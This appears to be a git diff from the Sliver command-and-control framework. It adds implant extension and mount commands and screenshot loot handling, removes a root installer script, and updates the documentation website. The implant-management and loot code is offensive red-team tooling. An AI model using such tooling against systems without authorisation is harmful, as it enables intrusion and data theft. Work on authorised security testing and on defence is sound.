lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), screenshotFileName, lootName, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
+56
View File
@@ -35,6 +35,7 @@ import (
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
@@ -148,6 +149,61 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter())
aliasCmd.AddCommand(aliasRemove)
// [ Extensions ] ---------------------------------------------
extCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "List current exts",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
Run: func(cmd *cobra.Command, args []string) {
extensions.ExtensionsCmd(cmd, con)
},
GroupID: consts.GenericHelpGroup,
}
server.AddCommand(extCmd)
/*
parking 'load' for now - the difference between 'load' and 'install' is that 'load' should not move binaries and manifests to the client install dir.
Maybe we can revisit this if it's required - but the usecase I can think of is when developing extensions, and that will also occasionally require a manifest update
// extLoadCmd := &cobra.Command{
// Use: consts.LoadStr + " [EXT]",
// Short: "Load a command EXT",
// Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
// Args: cobra.ExactArgs(1),
// Run: func(cmd *cobra.Command, args []string) {
// extensions.ExtensionLoadCmd(cmd, con, args)
// },
// }
// carapace.Gen(extLoadCmd).PositionalCompletion(
// carapace.ActionDirectories().Tag("ext directory").Usage("path to the ext directory"))
// extCmd.AddCommand(extLoadCmd)
*/
extInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [filepath]",
Short: "Install an extension from a local directory/file.",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
extensions.ExtensionsInstallCmd(cmd, con, args)
},
}
carapace.Gen(extInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("ext file"))
extCmd.AddCommand(extInstallCmd)
extendo := &cobra.Command{
Use: consts.RmStr + " [Name]",
Short: "Remove extension. Will remove all commands associated with the installed extension. Does not unload the extension from implants that have already loaded it, but removes the command from the client.",
Long: help.GetHelpFor([]string{consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
extensions.ExtensionsRemoveCmd(cmd, con, args)
},
}
carapace.Gen(extendo).PositionalCompletion(extensions.ManifestCompleter())
extCmd.AddCommand(extendo)
// [ Armory ] ---------------------------------------------
armoryCmd := &cobra.Command{
+23 -3
View File
@@ -19,6 +19,8 @@ package command
*/
import (
"fmt"
"github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
@@ -94,13 +96,17 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
// Load Extensions
extensionManifests := assets.GetInstalledExtensionManifests()
for _, manifest := range extensionManifests {
ext, err := extensions.LoadExtensionManifest(manifest)
mext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
con.PrintErrorf("Failed to load extension: %s", err)
//con doesn't appear to be initialised here?
//con.PrintErrorf("Failed to load extension: %s", err)
fmt.Printf("Failed to load extension: %s\n", err)
continue
}
extensions.ExtensionRegisterCommand(ext, sliver, con)
for _, ext := range mext.ExtCommand {
extensions.ExtensionRegisterCommand(ext, sliver, con)
}
}
// [ Reconfig ] ---------------------------------------------------------------
@@ -1084,6 +1090,20 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
mountCmd := &cobra.Command{
Use: consts.MountStr,
Short: "Get information on mounted filesystems",
Long: help.GetHelpFor([]string{consts.MountStr}),
Run: func(cmd *cobra.Command, args []string) {
filesystem.MountCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
Flags("", false, mountCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
sliver.AddCommand(mountCmd)
// [ Network ] ---------------------------------------------
ifconfigCmd := &cobra.Command{
+16
View File
@@ -689,6 +689,11 @@ func (s *ActiveTarget) IsSession() bool {
return s.session != nil
}
// IsBeacon - Is the current target a beacon?
func (s *ActiveTarget) IsBeacon() bool {
return s.beacon != nil
}
// AddObserver - Observers to notify when the active session changes
func (s *ActiveTarget) AddObserver(observer Observer) int {
s.observerID++
@@ -796,6 +801,17 @@ func (s *ActiveTarget) Background() {
}
}
// GetHostUUID - Get the Host's UUID (ID in the database)
func (s *ActiveTarget) GetHostUUID() string {
if s.IsSession() {
return s.session.UUID
} else if s.IsBeacon() {
return s.beacon.UUID
}
return ""
}
// Expose or hide commands if the active target does support them (or not).
// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc.
func (con *SliverConsoleClient) ExposeCommands() {
+1
View File
@@ -219,6 +219,7 @@ const (
ChmodStr = "chmod"
ChownStr = "chown"
ChtimesStr = "chtimes"
MountStr = "mount"
MemfilesStr = "memfiles"
-191
View File
@@ -1,191 +0,0 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID="4449039C"
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
EOF
# Download and Unpack Sliver Server
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
fi
# systemd
echo "Configuring systemd service ..."
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+1
View File
@@ -3,6 +3,7 @@
# generated files
public/sitemap.json
public/docs.json
/www.zip
# code editor files
.vscode/
+30
View File
@@ -1,3 +1,33 @@
# Sliver Docs
The source code for the Sliver documentation site.
### Developers
To run the documentation site locally first install the dependencies and then run the `dev` npm script:
```bash
npm install
npm run dev
```
**NOTE:** The markdown is compiled into a static JSON object at build time. This means if you edit a `.md` file you will need to restart the dev server to see your changes.
### Offline Docs
To run your own copy of the documentation first install the dependencies and then run the `offline` npm script:
```bash
npm install
npm run offline
```
This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere:
```bash
unzip -o www.zip
cd out/
python -m http.server 8000
```
Then open your browser to `http://localhost:8000/` to view the documentation.
@@ -0,0 +1,3 @@
.hide-control-bar :global(.ap-control-bar){
display: none !important;
}
+188
View File
@@ -0,0 +1,188 @@
import CodeViewer, { CodeSchema } from "@/components/code";
import { Themes } from "@/util/themes";
import { useTheme } from "next-themes";
import Image from "next/image";
import Link from "next/link";
import { useRouter } from "next/router";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
import AsciinemaPlayer from "./asciinema";
export type MarkdownProps = {
key?: string;
markdown: string;
};
type MarkdownAsciiCast = {
src?: string;
rows?: string;
cols?: string;
idleTimeLimit?: number;
};
const MarkdownViewer = (props: MarkdownProps) => {
const { theme } = useTheme();
const router = useRouter();
return (
<div
className={
theme === Themes.DARK ? "prose dark:prose-invert" : "prose prose-slate"
}
>
<Markdown
key={props.key || `${Math.random()}`}
remarkPlugins={[remarkGfm]}
components={{
a(props) {
const { href, children, ...rest } = props;
if (href?.startsWith("/")) {
return (
// @ts-ignore
<a
{...rest}
href={href}
className="text-primary hover:text-primary-dark"
onClick={(e) => {
e.preventDefault();
router.push(href);
}}
>
{children}
</a>
);
}
const url = new URL(href || "");
if (url.protocol !== "http:" && url.protocol !== "https:") {
return <></>;
}
if (url.host === "sliver.sh") {
return (
// @ts-ignore
<Link
{...rest}
href={url.toString()}
className="text-primary hover:text-primary-dark"
>
{children}
</Link>
);
}
return (
<a
{...rest}
href={url.toString()}
rel="noopener noreferrer"
target="_blank"
className="text-primary hover:text-primary-dark"
>
{children}
</a>
);
},
pre(props) {
// We need to look at the child nodes to avoid wrapping
// a monaco code block in a <pre> tag
const { children, className, node, ...rest } = props;
const childClass = (children as any)?.props?.className;
if (
childClass &&
childClass.startsWith("language-") &&
childClass !== "language-plaintext"
) {
// @ts-ignore
return <div {...rest}>{children}</div>;
}
return (
<pre {...rest} className={className}>
{children}
</pre>
);
},
img(props) {
const { src, alt, ...rest } = props;
return (
// @ts-ignore
<Image
{...rest}
src={src || ""}
alt={alt || ""}
width={500}
height={500}
className="w-full rounded-medium"
/>
);
},
code(props) {
const { children, className, node, ...rest } = props;
const langTag = /language-(\w+)/.exec(className || "");
const lang = langTag ? langTag[1] : "plaintext";
if (lang === "plaintext") {
return (
<span className="prose-sm">
<code {...rest} className={className}>
{children}
</code>
</span>
);
}
if (lang === "asciinema") {
const asciiCast: MarkdownAsciiCast = JSON.parse(
children as string
);
const src = asciiCast.src?.startsWith("/")
? `${window.location.origin}${asciiCast.src}`
: asciiCast.src || "";
const srcUrl = new URL(src);
if (srcUrl.protocol !== "http:" && srcUrl.protocol !== "https:") {
return <></>;
}
return (
<AsciinemaPlayer
src={srcUrl.toString()}
rows={asciiCast.rows || "18"}
cols={asciiCast.cols || "75"}
idleTimeLimit={asciiCast.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
);
}
const sourceCode = (children as string) || "";
const lines = sourceCode.split("\n").length;
return (
<CodeViewer
className={
lines < 7
? "min-h-[100px]"
: lines < 17
? "min-h-[250px]"
: "min-h-[450px]"
}
key={`${Math.random()}`}
fontSize={11}
script={
{
script_type: lang,
source_code: sourceCode,
} as CodeSchema
}
/>
);
},
}}
>
{props.markdown}
</Markdown>
</div>
);
};
export default MarkdownViewer;
+42 -2
View File
@@ -1,14 +1,25 @@
"use client";
import { SliversIcon } from "@/components/icons/slivers";
import { useSearchContext } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons";
import { faGithub } from "@fortawesome/free-brands-svg-icons";
import {
faHome,
faMoon,
faSearch,
faSun,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Input,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
Tooltip,
} from "@nextui-org/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
@@ -18,12 +29,15 @@ export type TopNavbarProps = {};
export default function TopNavbar(props: TopNavbarProps) {
const router = useRouter();
const search = useSearchContext();
const { theme, setTheme } = useTheme();
const lightDarkModeIcon = React.useMemo(
() => (theme === Themes.DARK ? faSun : faMoon),
[theme]
);
const [query, setQuery] = React.useState("");
return (
<Navbar
isBordered
@@ -88,14 +102,40 @@ export default function TopNavbar(props: TopNavbarProps) {
</NavbarContent>
<NavbarContent as="div" justify="end">
<Tooltip content="Press enter to search" isOpen={query.length > 0}>
<Input
size="sm"
placeholder="Search..."
value={query}
onChange={(e) => setQuery(e.target.value)}
onClear={() => setQuery("")}
startContent={<FontAwesomeIcon icon={faSearch} />}
onKeyDown={(e) => {
if (e.key === "Enter") {
router.push({ pathname: `/search/`, query: { search: query } });
setQuery("");
}
}}
/>
</Tooltip>
<Button
variant="light"
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
<Button
variant="ghost"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
>
<FontAwesomeIcon icon={faGithub} />
</Button>
</NavbarContent>
</Navbar>
);
@@ -0,0 +1,75 @@
import { Button, Card, CardFooter, CardHeader } from "@nextui-org/react";
import AsciinemaPlayer from "./asciinema";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import styles from "./TutorialCard.module.css";
export type TutorialCardCardProps = {
name: string;
description: string;
asciiCast: string;
rows?: string;
cols?: string;
idleTimeLimit?: number;
italicDescription?: boolean;
onPress?: () => void;
showButton?: boolean;
buttonText?: string;
};
export default function TutorialCard(props: TutorialCardCardProps) {
return (
<Card isFooterBlurred>
<CardHeader className="absolute z-10 top-1 flex-col items-end">
<p className="text-md text-white/70 uppercase font-bold">
{props.name}
</p>
</CardHeader>
<div className={styles["hide-control-bar"]}>
<AsciinemaPlayer
src={props.asciiCast}
rows={props.rows ? props.rows : "18"}
cols={props.cols ? props.cols : "75"}
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
<div className="flex w-full items-center">
<p
className={
props.italicDescription
? "text-xs text-white/80 italic"
: "text-xs text-white/80"
}
>
{props.description}
</p>
{props.showButton ? (
<div className="justify-items-end">
<Button
variant="ghost"
color="warning"
size="sm"
onPress={props.onPress}
>
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</div>
) : (
<></>
)}
</div>
</CardFooter>
</Card>
);
}
+3
View File
@@ -5,6 +5,9 @@ const nextConfig = {
images: {
unoptimized: true,
},
experimental: {
scrollRestoration: true,
},
webpack: (config, { isServer }) => {
if (isServer) {
require('./prebuild/generate-docs');
+16
View File
@@ -17,6 +17,7 @@
"@tanstack/react-query": "^5.13.4",
"asciinema-player": "^3.6.3",
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "14.0.4",
"next-themes": "^0.2.1",
@@ -27,6 +28,7 @@
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.10",
"@types/lunr": "^2.3.7",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
@@ -2908,6 +2910,12 @@
"integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==",
"dev": true
},
"node_modules/@types/lunr": {
"version": "2.3.7",
"resolved": "https://registry.npmjs.org/@types/lunr/-/lunr-2.3.7.tgz",
"integrity": "sha512-Tb/kUm38e8gmjahQzdCKhbdsvQ9/ppzHFfsJ0dMs3ckqQsRj+P5IkSAwFTBrBxdyr3E/LoMUUrZngjDYAjiE3A==",
"dev": true
},
"node_modules/@types/mdast": {
"version": "4.0.3",
"resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz",
@@ -4675,6 +4683,14 @@
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/fuse.js": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/fuse.js/-/fuse.js-7.0.0.tgz",
"integrity": "sha512-14F4hBIxqKvD4Zz/XjDc3y94mNZN6pRv3U13Udo0lNLCWRBUsrMv2xwcF/y/Z5sV6+FQW+/ow68cHpm4sunt8Q==",
"engines": {
"node": ">=10"
}
},
"node_modules/get-intrinsic": {
"version": "1.2.2",
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.2.tgz",
+4 -1
View File
@@ -6,7 +6,8 @@
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
"lint": "next lint",
"offline": "next build && zip -r www.zip ./out"
},
"dependencies": {
"@fontsource/fira-code": "^5.0.16",
@@ -18,6 +19,7 @@
"@tanstack/react-query": "^5.13.4",
"asciinema-player": "^3.6.3",
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "14.0.4",
"next-themes": "^0.2.1",
@@ -28,6 +30,7 @@
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.10",
"@types/lunr": "^2.3.7",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
+58 -2
View File
@@ -1,6 +1,10 @@
import Navbar from "@/components/navbar";
import "@/styles/globals.css";
import { Docs } from "@/util/docs";
import { SearchContext, SearchCtx } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { NextUIProvider } from "@nextui-org/react";
import {
HydrationBoundary,
@@ -12,6 +16,7 @@ import type { AppProps } from "next/app";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
// Initialize theme
const { theme, setTheme } = useTheme();
function getThemeState(): Themes {
if (typeof window !== "undefined") {
@@ -22,15 +27,66 @@ export default function App({ Component, pageProps }: AppProps) {
return Themes.DARK;
}
// Initialize search
const [search, setSearch] = React.useState(new SearchCtx());
// Initialize query client
const [queryClient] = React.useState(() => new QueryClient());
queryClient.prefetchQuery({
queryKey: ["docs"],
queryFn: async (): Promise<Docs> => {
const res = await fetch("/docs.json");
const docs: Docs = await res.json();
search.addDocs(docs);
return docs;
},
});
return (
<NextUIProvider>
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<Navbar />
<Component {...pageProps} />
<SearchContext.Provider value={search}>
<Navbar />
<Component {...pageProps} />
<div className="mb-12"></div>
<footer className="fixed bottom-0 left-0 z-20 w-full p-2 bg-white border-t border-gray-200 shadow md:flex md:items-center md:justify-between md:p-6 dark:bg-black dark:border-gray-600">
<span className="text-sm text-gray-500 sm:text-center dark:text-gray-400">
© {new Date().getFullYear()}{" "}
<a
href="https://bishopfox.com/"
className="hover:underline"
rel="noreferrer"
target="_blank"
>
Bishop Fox
</a>
{" - "}
<a
href="https://github.com/BishopFox/sliver/pulls"
rel="noreferrer"
className="hover:underline"
target="_blank"
>
You can help improve this documentation by opening a pull
request on Github <FontAwesomeIcon icon={faExternalLink} />
</a>
</span>
<ul className="flex flex-wrap items-center mt-3 text-sm font-medium text-gray-500 dark:text-gray-400 sm:mt-0">
<li>
<a
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
target="_blank"
rel="noreferrer"
className="hover:underline me-4 md:me-6"
>
GPLv3 License
</a>
</li>
</ul>
</footer>
</SearchContext.Provider>
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
+2 -1
View File
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
@@ -17,6 +17,7 @@ class MyDocument extends Document {
return (
<Html lang="en">
<Head>
<title>Sliver Docs</title>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
<body>
+104 -129
View File
@@ -1,33 +1,30 @@
import CodeViewer, { CodeSchema } from "@/components/code";
import { frags } from "@/util/frags";
import MarkdownViewer from "@/components/markdown";
import { Docs } from "@/util/docs";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Card,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ScrollShadow,
} from "@nextui-org/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Image from "next/image";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
type Doc = {
name: string;
content: string;
};
type Docs = {
docs: Doc[];
};
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: docs, isLoading } = useQuery({
queryKey: ["docs"],
@@ -37,25 +34,40 @@ const DocsIndexPage: NextPage = () => {
},
});
const [name, _setName] = React.useState(decodeURI(frags.get("name") || ""));
const setName = (name: string) => {
frags.set("name", name);
_setName(name);
};
const [markdown, setMarkdown] = React.useState(
name === ""
? docs?.docs[0].content
: docs?.docs.find((doc) => doc.name === name)?.content || ""
);
const params = useSearchParams();
